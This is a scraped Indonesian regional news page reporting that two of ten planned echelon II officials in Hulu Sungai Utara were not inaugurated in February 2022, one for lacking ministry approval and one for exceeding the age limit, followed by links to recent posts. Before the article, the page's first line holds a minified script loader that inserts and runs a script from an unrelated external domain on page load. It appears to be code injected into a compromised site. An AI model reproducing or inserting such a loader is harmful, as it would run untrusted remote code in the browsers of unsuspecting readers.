(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Dua Pejabat Eselon II di HSU Gagal Dilantik, Ini Alasannya


KANALKALIMANTAN.COM, AMUNTAI – Ada 8 pejabat pimpinan tinggi pratama di lingkungan Pemerintah Kabupaten Hulu Sungai Utara (HSU) telah dilantik, Rabu (16/2/2022), namun dua pejabat eselon II lainnya gagal dilantik.

Kedua pejabat yang batal dilantik tersebut yaitu Kepala Dinas Kependudukan dan Catatan Sipil (Dukcapil) dan Kepala Badan Pengelolaan Keuangan dan Aset Daerah (BPKAD).

Kepala Badan Kepegawaian dan Pengembangan Sumber Daya Manusia (BKPSDM) HSU, Rakhmadi Permana menyebut hal tersebut lantaran kedua pejabat tersebut belum mengantongi izin dari Kemendagri.

Rencananya ada 10 pejabat eselon II yang akan dilantik berdasarkan hasil lelang jabatan tinggi pratama Pemkab HSU, karena alasan tersebut akhirnya hanya 8 pejabat yang dapat mengikuti proses pelantikan.

 

Baca juga : Perubahan Arus Lalin di Jembatan HKSN Mulai 19 Februari, Truk Dilarang Melintas

“Kedepannya, nanti untuk dua jabatan ini akan kami usulkan kembali ke Kementerian Dalam Negeri untuk minta izin,” kata Rakhmadi, Rabu (16/2/2022).

Rakhmadi menjelaskan pembatalan pelantikan Kepala Disdukcapil dikarenakan belum mengantongi izin dari Dirjen Kependudukan dan Catatan Sipil Kemendagri.

“Untuk Dukcapil prosesnya melalui Dirjen Dukcapil, jadi ada perlakuan khusus. Karena SK-nya pun langsung dari Menteri melalui Dirjen Dukcapil,” jelasnya.

Sedangkan, kata Rahmadi, untuk jabatan calon Kepala BPKAD yang batal dilantik, dikarenakan melebihi batas umur dari ketentuan.

 

Baca juga : Plt Bupati HSU Akhirnya Lantik 8 Kepala Dinas/Badan

“Jadi yang bersangkutan kami usulkan ternyata umur lewat dari 56 tahun. Sesuai dengan PP 11 Tahun 2017, untuk jabatan JPT maksimal 56 tahun pada saat dilantik,” terangnya.

Kepala BKPSDM HSU yang baru ini berharap, agar pelantikan untuk seluruh hasil lelang jabatan segera dilakukan.

“Insyaallah calonnya (pejabat eselon II) dari hasil seleksi kemarin juga, cuma dipilih yang rangking selanjutnya,” tandasnya. (kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.